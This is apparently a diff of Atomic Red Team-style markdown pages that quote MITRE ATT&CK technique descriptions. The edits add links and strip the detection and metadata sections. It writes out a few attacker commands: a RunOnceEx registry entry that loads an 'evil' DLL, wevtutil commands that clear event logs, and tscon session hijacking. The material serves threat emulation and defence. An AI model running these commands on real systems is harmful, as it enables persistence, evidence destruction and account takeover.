 Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)

-Keylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.
+Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.

-Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)
-
-Detection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.
-
-Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring
-
-Permissions Required: Administrator, SYSTEM
-
-Contributors: John Lambert, Microsoft Threat Intelligence Center</blockquote>
+Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)</blockquote>

 ## Atomic Tests

@@ -2,25 +2,13 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1057)
 <blockquote>Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.

-===Windows===
+### Windows

-An example command that would obtain details on processes is "tasklist" using the Tasklist utility.
+An example command that would obtain details on processes is "tasklist" using the [Tasklist](https://attack.mitre.org/software/S0057) utility.

-===Mac and Linux===
+### Mac and Linux

-In Mac and Linux, this is accomplished with the <code>ps</code> command.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Process command-line parameters, Process monitoring
-
-Permissions Required: User, Administrator, SYSTEM
-
-System Requirements: Administrator, SYSTEM may provide better process ownership details</blockquote>
+In Mac and Linux, this is accomplished with the <code>ps</code> command.</blockquote>

 ## Atomic Tests

@@ -1,18 +1,8 @@
 # T1059 - Command-Line Interface
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1059)
-<blockquote>Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).
+<blockquote>Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)).

-Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.
-
-Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.
-
-Platforms: Linux, Windows, macOS
-
-Data Sources: Process command-line parameters, Process monitoring
-
-Permissions Required: Administrator, SYSTEM, User
-
-Remote Support: No</blockquote>
+Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.</blockquote>

 ## Atomic Tests

@@ -1,18 +1,22 @@
-# T1060 - Registry Run Keys / Start Folder
+# T1060 - Registry Run Keys / Startup Folder
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1060)
-<blockquote>Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level.
+<blockquote>Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

-Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
+The following run keys are created by default on Windows systems:
+* <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>
+* <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>
+* <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>
+* <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

-Detection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
+The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Visa and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

-Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
+The following Registry keys can be used to set startup folder items for persistence:
+* <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>
+* <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
+* <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
+* <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>

-Platforms: Windows
-
-Data Sources: Windows Registry, File monitoring
-
-Permissions Required: User, Administrator</blockquote>
+Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.</blockquote>

 ## Atomic Tests

@@ -1,14 +1,6 @@
 # T1062 - Hypervisor
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1062)
-<blockquote>A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.
-
-Detection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)
-
-Platforms: Windows
-
-Data Sources: System calls
-
-Permissions Required: Administrator, SYSTEM</blockquote>
+<blockquote>A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.</blockquote>

 ## Atomic Tests

@@ -2,23 +2,13 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1063)
 <blockquote>Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.

-===Windows===
+### Windows

-Example commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.
+Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

-===Mac===
+### Mac

-It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.
-
-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: macOS, Windows
-
-Data Sources: File monitoring, Process command-line parameters, Process monitoring
-
-Permissions Required: User, Administrator, SYSTEM</blockquote>
+It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.</blockquote>

 ## Atomic Tests

@@ -2,23 +2,9 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1064)
 <blockquote>Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.

-Scripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macos being allowed or that the user will accept to activate them.
+Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macos being allowed or that the user will accept to activate them.

-Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike.  (Citation: Metasploit) (Citation: Metasploit),  (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
-
-Detection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
-
-Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
-
-Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as word.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Process monitoring, File monitoring, Process command-line parameters
-
-Defense Bypassed: Process whitelisting, Data Execution Prevention, Exploit Prevention
-
-Permissions Required: User</blockquote>
+Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit),  (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)</blockquote>

 ## Atomic Tests

@@ -1,14 +1,6 @@
 # T1065 - Uncommonly Used Port
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1065)
-<blockquote>Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
-
-Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring
-
-Requires Network: Yes</blockquote>
+<blockquote>Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.</blockquote>

 ## Atomic Tests

@@ -2,27 +2,17 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1069)
 <blockquote>Adversaries may attempt to find local system or domain-level groups and permissions settings. 

-===Windows===
+### Windows

-Examples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the Net utility.
+Examples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the [Net](https://attack.mitre.org/software/S0039) utility.

-===Mac===
+### Mac

 On Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.

-===Linux===
+### Linux

-On Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Linux, Windows, macOS
-
-Data Sources: API monitoring, Process command-line parameters, Process monitoring
-
-Permissions Required: User</blockquote>
+On Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.</blockquote>

 ## Atomic Tests

@@ -1,14 +1,22 @@
 # T1070 - Indicator Removal on Host
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1070)
-<blockquote>Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.
+<blockquote>Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* .

-Detection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.
+Actions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.

-Platforms: Linux, macOS, Windows
+### Clear Windows Event Logs

-Data Sources: File monitoring, Process command-line parameters, Process monitoring
+Windows event logs are a record of a computer's alerts and notifications. Microsoft defines an event as "any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log." There are three system-defined sources of Events: System, Application, and Security.
+ 
+Adversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities.

-Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems</blockquote>
+The event logs can be cleared with the following utility commands:
+
+* <code>wevtutil cl system</code>
+* <code>wevtutil cl application</code>
+* <code>wevtutil cl security</code>
+
+Logs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).</blockquote>

 ## Atomic Tests

@@ -1,16 +1,8 @@
 # T1074 - Data Staged
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1074)
-<blockquote>Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted.
+<blockquote>Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022).

-Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.
-
-Detection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.
-
-Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: File monitoring, Process monitoring, Process command-line parameters</blockquote>
+Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.</blockquote>

 ## Atomic Tests

@@ -2,17 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1075)
 <blockquote>Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. 

-Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)
-
-Detection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.
-
-Platforms: Windows
-
-Data Sources: Authentication logs
-
-System Requirements: Requires Microsoft Windows as target system
-
-Contributors: Travis Smith, Tripwire</blockquote>
+Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)</blockquote>

 ## Atomic Tests

@@ -1,24 +1,10 @@
 # T1076 - Remote Desktop Protocol
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1076)
-<blockquote>Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.
+<blockquote>Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.

-Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)
+Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)

-Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\windows\system32\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)
-
-Detection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
-
-Also, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.
-
-Platforms: Windows
-
-Data Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring
-
-Permissions Required: User, Remote Desktop Users
-
-System Requirements: RDP service enabled, account in the Remote Desktop Users group.
-
-Contributors: Matthew Demaske, Adaptforward</blockquote>
+Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\windows\system32\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)</blockquote>

 ## Atomic Tests

@@ -2,21 +2,9 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1077)
 <blockquote>Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. 

-Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)
+Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)

-The Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)
-
-Detection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.
-
-Platforms: Windows
-
-Data Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring
-
-Permissions Required: Administrator
-
-System Requirements: File and printer sharing over SMB enabled.
-Host/network firewalls not blocking SMB ports between source and destination.
-Use of domain account in administrator group on remote system or default system admin account.</blockquote>
+The [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)</blockquote>

 ## Atomic Tests

@@ -1,18 +1,8 @@
 # T1081 - Credentials in Files
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1081)
-<blockquote>Adversaries may search local file systems and remote file shares for files containing passwords.  These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
+<blockquote>Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

-It is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)
-
-Detection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: File monitoring, Process command-line parameters
-
-Permissions Required: User, Administrator, SYSTEM
-
-System Requirements: Access to files</blockquote>
+It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)</blockquote>

 ## Atomic Tests

@@ -2,23 +2,13 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1082)
 <blockquote>An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

-===Windows===
+### Windows

-Example commands and utilities that obtain this information include <code>ver</code>, Systeminfo, and <code>dir</code> within cmd for identifying information based on present files and directories.
+Example commands and utilities that obtain this information include <code>ver</code>, [Systeminfo](https://attack.mitre.org/software/S0096), and <code>dir</code> within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories.

-===Mac===
+### Mac

-On Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
-
-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Process command-line parameters, Process monitoring
-
-Permissions Required: User</blockquote>
+On Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.</blockquote>

 ## Atomic Tests

@@ -2,25 +2,13 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1083)
 <blockquote>Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. 

-===Windows===
+### Windows

 Example utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.

-===Mac and Linux===
+### Mac and Linux

-In Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
-
-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: File monitoring, Process command-line parameters, Process monitoring
-
-Permissions Required: User, Administrator, SYSTEM
-
-System Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls</blockquote>
+In Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.</blockquote>

 ## Atomic Tests

@@ -1,14 +1,6 @@
 # T1084 - Windows Management Instrumentation Event Subscription
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1084)
-<blockquote>Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)
-
